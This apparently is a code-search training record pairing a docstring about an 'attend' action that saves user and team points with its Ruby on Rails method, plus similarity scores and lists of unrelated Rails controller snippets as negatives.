"def register\n usr=params[:user]\n pass=encryptor(usr[:password])\n confPass=encryptor(usr[:password_confirmation])\n #puts(pass)\n #puts(usr[:password])\n @key_name_prefix=\"grupo_\"\n options = {\n :body =>{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n resultsLDAP = HTTParty.post(\"http://192.168.99.104:4001/user/resources/ldapcruds\", options)\n if resultsLDAP.code == 201\n # options = {\n # :body => params.to_json,\n # :headers => {\n # 'Content-Type' => 'application/json'\n # }\n # }\n options = {\n :body =>{ \"user\":{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n results = HTTParty.post(\"http://192.168.99.101:4051/users\", options)\n if results.code == 201\n user = results.parsed_response\n aux = params[:user]\n options = {\n :body =>{ \"notification_key\": \"\",\n \"user_id\": user\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n results3 = HTTParty.post(\"http://192.168.99.101:4051/group_keys\".to_s,options)\n if results3.code == 201\n head 201\n else\n render json: results3.parsed_response, status: results3.code\n end\n else\n render json: results.parsed_response, status: results.code\n end\n elsif resultsLDAP.code == 400\n render json: {\"email\": [\"has already been taken\"]}.to_json, status: 422\n else\n renderError(\"Not Avalible\", 503, \"OpenLDAP server conection failed\")\n end\n end",
"def register\n if params[:id]\n user = User.find(params[:id])\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n normalized_mobile_number = PhoneHandling.normalize_phone_number(params[:mobile_number])\n if user = User.find_by_mobile_number(normalized_mobile_number)\n user.status = :active\n user.app_version = params[:v]\n params[:first_name] and user.first_name = params[:first_name]\n params[:last_name] and user.last_name = params[:last_name]\n user.save!\n # Let's check the Notifications to see if this user has been invited...\n elsif n = Notification.to_number(normalized_mobile_number).first\n user = n.recipient\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n # Create a new user\n user = User.create!(params.only(\"first_name\",\"last_name\",\"mobile_number\").merge(:status => :active,:app_version => params[:v]) )\n end\n end\n set_and_cookie_current_user(user)\n render :json => user.attributes_for_app\n end",
"def new_user(object)\n javascript_tag js_add_new_user(object)\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n profile = @user.profile\n user_hash = { user: { id: @user.id, origin: @user.origin, open_id: @user.open_id,\n auth_token: @user.auth_token, password: @user.password, nickname: profile.nickname, avatar: profile.avatar.url }}\n format.json { render json: user_hash, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_groupe_user = UserGroupeUser.new(user_groupe_user_params)\n\n respond_to do |format|\n if @user_groupe_user.save\n format.html\n format.json\n else\n format.html { render :new }\n format.json { render json: @user_groupe_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if User.where(:email => params[:user][:email]).count.zero?\n @invited_user = User.invite!(params[:user], current_user)\n \n params[:freight_train] = true\n params[:ft] = {:partial => \"users/user\"}\n respond_with(@invited_user)\n else\n show_error \"That email address is already taken\"\n end\n end",
"def _user_add argv = {}\n\t\tf\t\t\t\t= {}\n\t\tf[:tag]\t\t\t= argv[:tag] if argv.include?(:tag)\n\t\tf[:salt] \t\t= _random 5\n\n\t\t#username\n\t\t_throw Sl[:'the user is existing'] if _user? f[:name]\n\t\tf[:name] \t\t= argv[:name]\n\n\t\t#password\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(argv[:pawd] + f[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\t_submit :_user, :fkv => f, :uniq => true\n\t\tuid = Sdb[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def creacion\n fiesta = Fiesta.new (params[:id])\n if Fiesta.save\n puts \"su fiesta a sido registrada\"\n else \n puts \"su fiesta no a sido registrada\"\n end\n render = json: fiesta \n end",
"def create_user\n\n security_code = SecureRandom.hex(4)\n user = User.new(name: params[:name], email: params[:email], password: security_code, password_confirmation: security_code)\n if user.valid?\n if user.save\n # Aplica lo logica necesaria\n #ApplicationMailer.registration_candidate(user, security_code).deliver# notifica el registro por correo\n @log.current_user = user\n @log.registration_auditory(controller_name + '/' + __method__.to_s, Constant::CONST_REGISTER_CANDIDATE, request.remote_ip)\n render json: {status: 200, payload: {message: Constant::CONST_CANDIDATE_REGISTRED, type: Constant::CONST_TYPE_FLASH_MESSAGE_SUCESS}}\n else\n # almacena el error y notifica al administrador del sistema\n #ApplicationMailer.registration_error(@log.registration_error(user.errors.full_messages, controller_name + '/' + __method__.to_s, Constant::CONST_INITIAL_PASSWORD, request.remote_ip)).deliver\n render json: {status: 500, payload: {message: Constant::CONST_INTERNAL_SERVER_ERROR, type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n else\n render json: {status: 400, payload: {message: user.errors.full_messages.first.gsub(user.errors.full_messages.first.split[0]+' ','') , type: Constant::CONST_TYPE_FLASH_MESSAGE_ERROR}}\n end\n end",
"def facebook_create\n @new_user = User.find_or_create_by(uid: auth['uid']) do |u|\n u.name = auth['info']['name']\n u.email = auth['info']['email']\n u.image = auth['info']['image']\n u.password = User.generic_password\n end\n @new_user.save\n session[:user_id] = @new_user.id \n redirect_to home_path(@new_user)\n end",
"def create\n @groupe_user=GroupeUser.new(groupe_user_param)\n\n respond_to do |format|\n if @groupe_user.save\n format.html { redirect_to mesapps_url(current_user),:notice => 'GroupeUser was successfully created.' }\n format.js { render :action => 'mesapps', :status => :created, :location => @user }\n else\n format.html { redirect_to mesapps_url(current_user), :notice => 'Create GroupeUser was failed.' }\n format.js { render :action => @groupe_user.errors, :status => :unprocessable_entity }\n end\n end\nend",
"def sign_up\n\t\tif params[:uuid].present?\n\t\t\t@existing_member = Com::Nbos::User.where(uuid: params[:uuid])\n\t\t\tif @existing_member.present?\n\t\t\t\trender :json => @existing_member.first\n\t\t\telse\n\t\t\t\t@member = build_user(params)\n\t\t\t\tif @member && @member.save\n\t\t\t\t\trender :json => @member\n\t\t\t\telse\n\t\t\t\t\trender :json => {status: 500, message: @member.errors.messages}, status: 500\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\t\n\tend",
"def create\n p 'hello world'\n @user = User.create(sign_up_params)\n if @user\n create_jwt_with({ user_id: @user.id })\n render json: { user: { username: @user.email } }, status: :created\n else\n render json: { errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def register\n @event.users << current_user\n @event.save\n #flash[:notice] = \"Successfully registered for #{@event.title}\"\n respond_to do |format|\n format.js\n end\n end",
"def create\n @user = User.create_or_find_by(user_params)\n my_token = issue_token(@user)\n\n render json: {user: @user, token: my_token}\n # render json: @user\n \n end",
"def register\n \n end",
"def show\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_fun }\n end\n end"
] |
[
"0.81044847",
"0.62539935",
"0.62117267",
"0.62008613",
"0.6184326",
"0.5888632",
"0.5888632",
"0.58826387",
"0.58337003",
"0.58322114",
"0.58198047",
"0.57927793",
"0.57707685",
"0.57703114",
"0.5749007",
"0.57120514",
"0.5696879",
"0.5694718",
"0.56727064",
"0.5668079",
"0.5659696",
"0.56535655",
"0.5632052",
"0.56293845",
"0.562918",
"0.56235695",
"0.5611894",
"0.5585115",
"0.55666286",
"0.55479443",
"0.552784",
"0.5520555",
"0.55183154",
"0.5513922",
"0.5505251",
"0.55039024",
"0.548112",
"0.54748267",
"0.5471601",
"0.54671484",
"0.54603493",
"0.5448844",
"0.5445137",
"0.5444582",
"0.54441607",
"0.5440358",
"0.543046",
"0.54295695",
"0.54294753",
"0.54166347",
"0.54143417",
"0.53997535",
"0.5393775",
"0.5393709",
"0.5393337",
"0.5388058",
"0.5382081",
"0.53819746",
"0.5379058",
"0.5377771",
"0.53723943",
"0.5370654",
"0.5370418",
"0.5366603",
"0.53613985",
"0.5354354",
"0.53535926",
"0.53435075",
"0.53432125",
"0.5322215",
"0.5322106",
"0.53195137",
"0.53160596",
"0.53095984",
"0.53072125",
"0.53039104",
"0.5301537",
"0.52956027",
"0.5295588",
"0.52954376",
"0.52932",
"0.52929544",
"0.52923876",
"0.5289497",
"0.52867144",
"0.5285661",
"0.5284696",
"0.52807885",
"0.52795875",
"0.5279524",
"0.5277405",
"0.52769303",
"0.5272403",
"0.5270836",
"0.5270028",
"0.52689505",
"0.5264163",
"0.52622044",
"0.5258399",
"0.52583796"
] |
0.8103665
|
1
|
attend fun attend INPUT: user_fun_id (value), user_id (session value) OUTPUT: SAVE user_point, team_point, user_fun.attend FROM: /views/funs/my_fun_list TO: 2012.7.17 Yueying
|
def attend
# update user_fun.is_attend
user_fun = UserFun.find(params[:user_fun_id])
user_fun.update_attribute(:is_attend, 1)
# save user_point
user_point = UserPoint.new
user_point.add_point(current_user.id, 30000, 'fun')
# save team_point
team_point = TeamPoint.new
team = Team.find_by_user1(current_user.id)
team_point.add_point(team.id, 30000)
redirect_to '/users/home'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def attend\n\n @event = Event.find(params[:id])\n if attending?\n @text = \"unattended\"\n else\n @attendee =@event.attendees.create(user_id: current_user.id)\n @text = \"attending\"\n end\n redirect_to event_path(@event)\n end",
"def invite\n \n end",
"def attend\n \t@event = Event.find(params[:id])\n \t@attendee = User.find(session[:user_id])\n\n\t\t# get @attendee's event_commitment with this event, if any\n\t\t@event_commitment = @attendee.event_commitments.where(:event_id => @event.id).first\n\n\t\t# create a new event_commitment, or change @event_commitment's description to \"attend\"\n\t\tif @event_commitment == nil\n\t\t\t@event_commitment = EventCommitment.create(:user => @attendee, :event => @event, :description => \"attend\")\n\t\telsif @event_commitment.description != \"attend\"\n\t\t\t# use update_attributes b/c saves automatically\n\t\t\t@event_commitment.update_attributes(:description => \"attend\")\n end\n\n @event_commitments = @event.event_commitments(true) # use \"true\" to reload info from the db\n\n # respond to: calls attend.js.erb\n respond_to do |format|\n format.js\n format.html { redirect_to(@event) }\n end\n end",
"def friending(a_user)\n # self.push_uniq(:attendees => a_user.id)\n friendship_ids << a_user.id\n save\n end",
"def attendeds\r\n @user = User.find(params[:id])\r\n @name = \"#{@user.name[0].upcase}#{@user.name[1..-1]}\"\r\n if @user == current_user\r\n @title = \"Events You Are Attending\"\r\n else\r\n @title = \"Events #{@name.split[0]} Is Attending\"\r\n end\r\n # @event = Event.find(params[:id])\r\n @events = @user.attended_events.paginate(page: params[:page], per_page: 25)\r\n render 'show_attending'\r\n end",
"def toggle_attendance(user_id, event_id, attend, output_as_flash)\n status = EventStatus.find_by(user_id: user_id, event_id: event_id)\n text_output = \"\"\n if !status.blank?\n if attend\n if !status.attending?\n status.attending!\n output_as_flash ? flash.notice = I18n.t('events.attending_success_response') : text_output = I18n.t('events.attending_success_response')\n else\n output_as_flash ? flash.alert = I18n.t('events.attending_failed_response') : text_output = I18n.t('events.attending_failed_response')\n end\n else\n if !status.not_attending?\n status.not_attending!\n output_as_flash ? flash.notice = I18n.t('events.not_attending_success_response') : text_output = I18n.t('events.not_attending_success_response')\n else\n output_as_flash ? flash.alert = I18n.t('events.not_attending_failed_response') : text_output = I18n.t('events.not_attending_failed_response')\n end\n end\n else\n output_as_flash ? flash.alert = I18n.t('global.invalid_input') : text_output = I18n.t('global.invalid_input')\n end\n output_as_flash ? events_path : text_output\n end",
"def create_attend\n @attend = Attend.create(userID: current_user.id, eventID: @event.id)\n redirect_to @event\n end",
"def edit_adj_by_tabbie\n @tournament = Tournament.find(params[:id]);\n @ta = TournamentAttendee.find(params[:ta_id]);\n @user = @ta.user;\n @conflicts_list = @user.conflicts.to_a;\n end",
"def my_fun_list\n user_funs = UserFun.find_all_by_user_id(session[:user_id])\n @user_funs = UserFun.find_all_by_user_id(session[:user_id])\n end",
"def invite_people\n end",
"def mark_sent(user)\n return \"email #{LASKUPV}\"\nend",
"def create\n @event = Event.find(params[:attended_event_id])\n if current_user.attend(@event)\n flash[:success] = \"Confirmed. Enjoy #{@event.title} on #{@event.date.strftime(\"%a, %b %d %Y %I : %M %p\")}\"\n redirect_to user_path(current_user)\n end\n end",
"def fun_list\n @funs = Fun.find_funs_by_game_peclass(session[:user_id])\n @user_fun = UserFun.new\n end",
"def attend_event\n current_user.attended_events << Event.find(params[:event_id])\n flash[:notice] = 'Event was successfully added to your attended events!'\n redirect_to user_path\n end",
"def invited_startups!\n self.setup << :invite_startups\n save\n end",
"def add_team_mates\n @team = Team.find(params[:id])\n @users = User.find(params[:add])\n @users.each do |user|\n @team.invite(current_user, user)\n end\n flash[:success] = \"Invitations sent\"\n redirect_back_or root_path\n end",
"def fAddOpenBetTo (betID, email)\n @users.addOpenBetTo(betID,email)\n end",
"def change_goals\n User.find_by(id: session[:user_id])\n @client = current_user.fitbit\n\t@client.create_or_update_daily_goal(@opts)\n\trender 'goals'\n end",
"def NPC_feedback\n\nend",
"def meet\n # Envia pedido de que quer conhecer o animal. \n # Isto mandaria uma proposta para o dono do shelter.\n\n # TODO: É preciso criar uma tabela associativa para saber quem já mandou proposta para o animal.\n # Assim evitaria mandar proposta múltiplas vezes.\n if params[:user_id]\n # friendly_user = User.find(params[:user_id])\n friendly_user = current_user\n AnimalMailer.meet_up_proposal(@animal, friendly_user).deliver\n end\n end",
"def add_attendee!(user, dont_tweet = false)\n # Return true if already a supporter\n return true if self.is_attendee?(user)\n self.attendee_ids ||= []\n # Add supporter id\n self.attendee_ids << user.id\n\n # Tweet from supporter's account - no longer doing this now\n # unless dont_tweet\n # tw = user.twitter_client\n # tw.update(DemoDay.tweet_content) if Rails.env.production? && tw.present?\n # end\n\n save\n end",
"def user_pa\n @user = User.find(params[:id])\n\n @approve_notifications = current_user.notifications.where(notification_type: [\"approve\", \"submit\"], is_seen: false).count\n @reject_notifications = current_user.notifications.where(notification_type: [\"reject\", \"return\"], is_seen: false).count\n @comment_notifications = current_user.notifications.where(notification_type: \"comment\", is_seen: false).count\n\n if check_higher_position(@user, current_user)\n if @user.is_manager\n @departments = Department.where(manager_id: @user.id)\n end\n\n if @user.is_hr || @user.is_bod\n @departments = Department.all\n end\n\n if @user.is_team_leader\n @departments = @user.departments\n end\n\n create_slot_assess_for_user(@user.id)\n \n\n @competencies = Competency.order(\"id\")\n @levels = Level.order(\"id\")\n @slots = Slot.order(\"id\")\n\n @slot_assesses = @user.slot_assesses.order(\"id\")\n\n @other_subjects = OtherSubject.order(\"id\")\n @other_subject_assesses = @user.other_subject_assesses.order(\"id\")\n\n if @user.new_approved\n calculate_title(@user.id)\n @user.update_attributes(new_approved: false)\n end\n\n if @user.current_title.rank_id\n @current_title = Rank.find(@user.current_title.rank_id).title.name\n else\n @current_title = \"N/A\"\n end\n\n else\n sign_out @user\n flash[:alert] = \"Permission is denied\"\n redirect_to new_user_session_path\n end\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def attend\n user_id = current_user.id\n training_id = params[:id]\n TrainingRecord.create_new_record user_id, training_id\n redirect_to @training, notice: \"You have successfully registered for #{@training.title}\"\n end",
"def record_attendance\n TrainingRecord.where(id: params[:unattended_ids]).update_all(attended: true)\n redirect_to trainings_url, notice: \"The attendance was successfully updated\"\n end",
"def invite_via_suggestion\n @user = User.create_with_organisation_membership_from_project_invite @invite\n\n if @user.valid?\n RequestMailer.invite_via_suggestion @user, @invite, current_user\n\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"#{@user.email} has been sent an invite\"\n elsif account_has_been_claimed? @user\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"This user has already been invited to Digital Social\" \n else\n redirect_to :dashboard, alert: \"There was an error inviting #{@user.email}, please try again later.\" \n end\n end",
"def favourite_article\n self.users << CLI.active_user\n self.save\n end",
"def certify_event_attendence\n @event = Event.find_by_id(params[:event_id].to_i)\n if @event != nil && !@event.submitted_for_certification\n if @event.is_expired\n\n # the auto attendance array\n auto_attendance = []\n\n # populate auto attendance array and mark auto attendances as processed\n EventAutoAttendance.where(event_id: params[:event_id].to_i, processed: false).each do |auto| # .map(&:user_id)\n # add the id to the array\n auto_attendance << auto.user_id\n\n # processed\n auto.processed = true\n auto.save\n end\n\n # check to see if any records have been processed if this is the case set the boolean\n processing_done = true if EventAutoAttendance.where(event_id: params[:event_id].to_i, processed: true).count > 0\n\n # array of all current attendees\n attender_ids = []\n\n # loop through the current attendances and..\n # 1. Get their user.id into the attender_ids array\n # 2. Adjust the user's attendance type/status based on the auto attendance\n Attendence.where(event_id: params[:event_id]).each do |attendance| # .map(&:user_id)\n # add the list to the attender_ids\n attender_ids << attendance.user_id\n\n # set the attendance for the current attendees based on the auto attendance if they have a valid discord_identity\n if attendance.user.discord_identity && !processing_done\n # are the in the attendance list?\n if auto_attendance.include? attendance.user_id\n attendance.attendence_type_id = 1 # attending\n else\n attendance.attendence_type_id = 2 # not attending\n end\n\n # save the modified attendance record\n attendance.save\n end\n end\n\n # get all of the users not in the `attendance` table id list\n users = Role.find_by_id(0).role_full_users.filter { |user| !attender_ids.include? user.id }\n\n # interate through the list and assign negative attendance unless they are present in the auto attendance table\n users.each do |user|\n # if the user exists in the auto attendance for the event the mark as attending\n # this is in case they didn't say either way but Discord knows they showed up\n if auto_attendance.include? user.id\n attendence_type_id = 1\n else\n attendence_type_id = 2\n end\n\n # create the new attendance\n attendence = Attendence.new(event_id: params[:event_id].to_i,\n user_id: user.id,\n character_id: user.main_character.id,\n attendence_type_id: attendence_type_id)\n attendence.save\n end\n\n # then we reload the event to get the attendences\n @event = Event.find_by_id(params[:event_id].to_i)\n\n # return attendances\n render status: 200, json: @event.attendences.as_json(include: { character: { methods: [:full_name] }})\n else\n render status: 403, json: { message: 'Event end time has not expired. You can not certify an event until after it has concluded.' }\n end\n else\n render status: 404, json: { message: 'Event not found. It may have been removed.' }\n end\n end",
"def set_user\n @attendee = Attendee.find(params[:id])\n end",
"def assign_experience_points\n end",
"def send_report\n @user_attentions = current_user.attention.where(:report => 'open')\n respond_to do |format|\n @user_attentions.update_all(report: \"send\")\n format.html { redirect_to swatenttions_url, notice: 'El Reporte ha sido enviado con éxito.' }\n format.json { head :no_content }\n end \n end",
"def record_attendance_manual( db )\n labs = db.table(\"labs\")\n \n # Display labs\n for lab in labs.all\n puts lab.to_hash['id']\n end\n # Enter lab to update\n UI.line\n labchoice = UI.enter( \"Enter the lab you wish to update\" )\n labsessions = db.tables(\"lab_sessions\", \"labs\")\n \n ## TESTING FIND FUNCTION ##\n #filteredlabsessions = labsessions.find('lab_sessions.lab_id' => 'labs.id')\n #for session in labsessions.all\n # puts \"ahhhh\"\n # if session.to_hash['labs.id'].to_s == labchoice\n # puts \"filtered \"+session.to_hash['lab_sessions.start_date'].to_s+\" ID: \"+session.to_hash['lab_sessions.id'].to_s\n # end\n #end\n \n # Display lab sessions for that lab\n for session in labsessions.find( 'lab_sessions.lab_id' => 'labs.id', 'labs.id' => labchoice ).all\n puts \"#{session.to_hash['lab_sessions.start_date']} ID: #{session.to_hash['lab_sessions.id']}\"\n end\n # Enter session to update\n UI.line\n sessionchoice = UI.enter( \"Enter the ID of the session you wish to update\" )\n sessionchoice = sessionchoice.to_i\n \n # Get list of students who have currently attended session\n # Get list of students enrolled in the session\n session = labsessions.find( 'lab_sessions.lab_id' => 'labs.id', 'lab_sessions.id' => sessionchoice ).one\n attendees = session.to_hash['lab_sessions.attended']\n enrolled = session.to_hash['labs.enrolled']\n \n # Display students who have attended session\n puts \"Current attendees: \"\n for attendee in attendees.split(',')\n puts attendee\n end\n # Display absent students\n puts \"Current absentees: \"\n for student in enrolled.split(',')\n puts student unless attendees.include?(student)\n end\n \n # Main recprding loop\n msg = \"Attendance Recording\\nChoose what you want to do:\"\n options = {\n :a => \"Add student to attended\",\n :r => \"Remove student from attended\",\n :q => \"Quit attendance recording\"\n }\n begin\n sessions = db.table('lab_sessions')\n UI.line\n option = UI.choose msg, options\n \n case option\n # Adding student to database\n when :a\n addstudent = UI.enter(\"Enter the ID of the student to add\")\n session = sessions.find( 'id' => sessionchoice ).one\n attended = \"#{session.to_hash['attended']},#{addstudent}\"\n puts attended\n session.set 'attended' => attended\n puts \"Adding student to attendance\"\n \n # Removing student from database\n when :r\n remstudent = UI.enter(\"Enter the ID of the student to remove\")\n session = sessions.find( 'id' => sessionchoice ).one\n attended = \"\"\n # Create array of students, remove the element representing the student that must be removed, recreate string from remaining elements\n attar = session.to_hash['attended'].split(',')\n attar.delete(remstudent)\n for s in attar\n attended = attended+s+','\n end\n attended = attended.chomp(',')\n puts attended\n session.set 'attended' => attended\n puts \"Removing student from attendance\"\n end\n end until option == :q\n \nend",
"def added_teams(user)\n @user = user\n mail(to: user.email, subject: \"More teams have been added to your account!\")\n end",
"def update\n @events_user = EventsUser.find(params[:id])\n @events_user.user_id = current_user.id\n\n respond_to do |format|\n if @events_user.update_attributes(params[:events_user])\n confirmation_message = (@events_user.attending) ? \"Thanks for confirming your attendance! Your response was saved.\" : \"Sorry you can't make it. Your response was saved.\"\n format.html { redirect_to root_path, notice: confirmation_message }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @events_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @attention = current_user.attention.new(attention_params)\n #set worker_id to create involved record with \"responsable\" rol \n @attention.responsible = params[:attention][:responsible]\n #cout worker_id's to calculate men-hours and create involved records with \"paticipante\" rol \n if params[:attention][:participants] != nil\n @attention.participants = params[:attention][:participants]\n cant = params[:attention][:participants].count + 1\n else\n cant = 1\n end\n @attention.nro_involved = cant\n \n if @attention.save\n #----start save attention---\n @attention_sv = @attention.attention_saved\n @swatenttion = Swatenttion.new(swatenttion_params)\n @swatenttion.set_attention_id = @attention_sv.id\n respond_to do |format|\n if @swatenttion.save\n format.html { redirect_to swatenttions_url }\n format.json { render :show, status: :created, location: @swatenttion }\n else\n format.html { render :new }\n format.json { render json: @swatenttion.errors, status: :unprocessable_entity }\n end\n end\n #----end save attention---\n else\n respond_to do |format|\n format.html { redirect_to @swatenttion, notice: 'attention record no inserted' }\n end\n end\n end",
"def add_user(user)\r\n\t\tsend(\"ADC\",\"FL N=#{user.name} F=#{user.safenick}\")\r\n\t\tsend(\"ADC\",\"AL N=#{user.name} F=#{user.safenick}\")\r\n\t\t## XXX changes recorded locally by ADD msg back\r\n\t\treturn 1\r\n\tend",
"def invite_user\n invited_user = User.find(params[:user_id])\n InviteUser.call(@previa_group, invited_user)\n\n respond_to do |format|\n format.html { redirect_to previa_group_invitable_users_path(@previa_group), notice: 'El usuario fue invitado con éxito.' }\n format.json { head :no_content }\n end\n end",
"def create\n meetup = Meetup.new(meetup_params)\n meetup.friend = User.find_by(id: params[:user_id])\n meetup.primary = current_user\n meetup.acceptStatus=false\n meetup.meetup_at+=8.hour\n meetup.save\n \n redirect_to user_meetup_url(current_user, meetup)\n end",
"def addUser(stat,typ,email,pwhash)\n @conn.exec_prepared(\"add_user\",[stat,typ,email,pwhash])\n end",
"def command_use_point\r\r\n if $game_actors[@actor.id].skill_tree[0] == 0 || confirm_skill_add\r\r\n Sound.play_buzzer\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n else\r\r\n @skills_icons[@skill_selected].opacity = 255\r\r\n $game_actors[@actor.id].skill_tree[0] -= 1\r\r\n $game_actors[@actor.id].lose_jp(Actor[@actor.id][@skill_selected]['JP'])\r\r\n $game_actors[@actor.id].skill_mult[Actor[@actor.id][@skill_selected]['Skill_id']] += Actor[@actor.id][@skill_selected]['Multiply']\r\r\n $game_actors[@actor.id].skill_tree[Actor[@actor.id][@skill_selected]['Skill_id']] += 1\r\r\n $game_actors[@actor.id].learn_skill(Actor[@actor.id][@skill_selected]['Skill_id'])\r\r\n @info_window.refresh(@actor, @tree)\r\r\n Audio.se_play(\"Audio/SE/Skill3\",75,100)\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n if $game_switches[19] # achievement available?\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Markspony\r\r\n #-------------------------------------------------------------------------------\r\r\n earn_trophic = true\r\r\n for i in 546..561\r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_markspony\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_markspony\r\r\n $ACH_markspony = true\r\r\n GameJolt.award_trophy(\"53491\")\r\r\n p sprintf(\"Achievement unlock - markspony\")\r\r\n $game_system.earn_achievement(:markspony)\r\r\n end\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Elementalist\r\r\n #------------------------------------------------------------------------------- \r\r\n earn_trophic = true\r\r\n for i in 563..582\r\r\n next if i == 567 || i == 571 || i == 577 || i == 581 \r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_elementalist\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_elementalist\r\r\n $ACH_elementalist = true\r\r\n GameJolt.award_trophy(\"53485\") \r\r\n p sprintf(\"Achievement unlock - elementalist\")\r\r\n $game_system.earn_achievement(:elementalist)\r\r\n end\r\r\n #---------------------------------------------------\r\r\n end\r\r\n end\r\r\n end",
"def add_udf\n # yes bother making the UDF fields for headers and page breaks -- they're necessary for eval def hash\n self.custom_promptable && self.custom_promptable.class.udf_types.each do |udf_type|\n udf_def = UdfDef.new\n udf_def.owner_type = udf_type.to_s.singularize.camelcase\n udf_def.parent_type = CustomPrompt.to_s\n udf_def.parent_id = self.id\n udf_def.data_type = self.data_type.to_s\n udf_def.save!\n\n field_name = name\n udf_def.owner_type.constantize.send(:attr_accessible, field_name)\n\n udf_def.owner_type.constantize.send(:define_method, \"#{field_name}=\") do |value|\n set_custom_prompt_field(field_name, value)\n end\n\n udf_def.owner_type.constantize.send(:define_method, field_name) do\n get_custom_prompt_field(field_name)\n end\n end\n end",
"def levelup\n # update team.sport_level_id\n team = Team.find_by_user1(session[:user_id])\n sport_level = SportLevel.first(:conditions => ['id > ?', team.sport_level_id], :order => 'id ASC')\n team.update_attribute(:sport_level_id, sport_level.id)\n\n # save user_point\n user_point = UserPoint.new\n user_point.add_point(session[:user_id], 25000, 'event')\n \n # save team_point \n team_point = TeamPoint.new\n team = Team.find_by_user1(session[:user_id])\n team_point.add_point(team.id, 50000)\n\n redirect_to '/admin/home'\n end",
"def new_interview(user)\n @user = user\n mail to: user.email, subject: \"New Interview is added\"\n end",
"def alteration_email(user, trip)\n @trip=Trip.find_by(:id => trip)\n @user = User.find_by(:id => user)\n @fbo= Fbo.find_by(:id => @trip.fbo_id)\n @airport = Airport.find_by(:id => @fbo.airport_id)\n @url = 'http://chartair.us/trips'\n mail(to: @user.email, subject: 'Trip Alteration')\n end",
"def create #just for invited with token user signup\n @user = User.new\n @user.email = params[:user][:email]\n @pw = SecureRandom.urlsafe_base64\n @user.invite_token = params[:user][:invite_token]\n @user.password=@pw\n @user.password_confirmation=@pw\n @user.first_name = params[:user][:first_name]\n @user.last_name = params[:user][:last_name]\n @user.phonetic = params[:user][:phonetic]\n @user.notes = params[:user][:notes]\n @user.grad_date = params[:user][:grad_date]\n @user.company = params[:user][:company]\n\n if @user.save then \n UserMailer.welcome(@user).deliver\n sign_in @user\n if Practiceobject.find_by_token(@user.invite_token) #probably not necessary, just avoiding nomethod errors \n @po = Practiceobject.find_by_token(@user.invite_token) #note that don't need to check if there's a PO for this event w/ this users's email, because this is only a problem if an invited attendee signs up with an email address for another attendee (and this would show up under the email field)\n @po.user_id = @user.id #plus, we want this user to be stuck with the PO that was sent to his inbox anyway, so if he signs in with the em address for another invited attendee, that will only affect his PO and show that he was invited at a different em address but using this other one.\n # plus, we can cover this sort of chicanery by sending a confirmation email whenever a new user signs up. \n @po.notes = @user.notes\n @po.phonetic = @user.phonetic\n @po.token = \"used\"\n if @po.save #just to be sure, wrapping this in an if-else-end. Would fail only if somehow user already had a PO for this event (which couldn't happen because signing up with same email is already not allowed)\n flash[:info] = \"Now just record your name, and you're done!\"\n\n redirect_to new_step2_path(:token => @po.token)\n else\n redirect_to new_step2_path(:token => @po.token)\n end \n anchor_and_update_pos(@po)\n copy_to_master(@po, @po.event) #for copying the new PO to the master list if the @event here is a sublist.\n \n else #couldn't find practice object by token\n redirect_to new_step2_path(:token => @po.token), notice: 'There was an error. Please sign out and try again.'\n end \n\n \n else \n if User.find_by_email(@user.email)#if the user already exists, tell them to try logging in 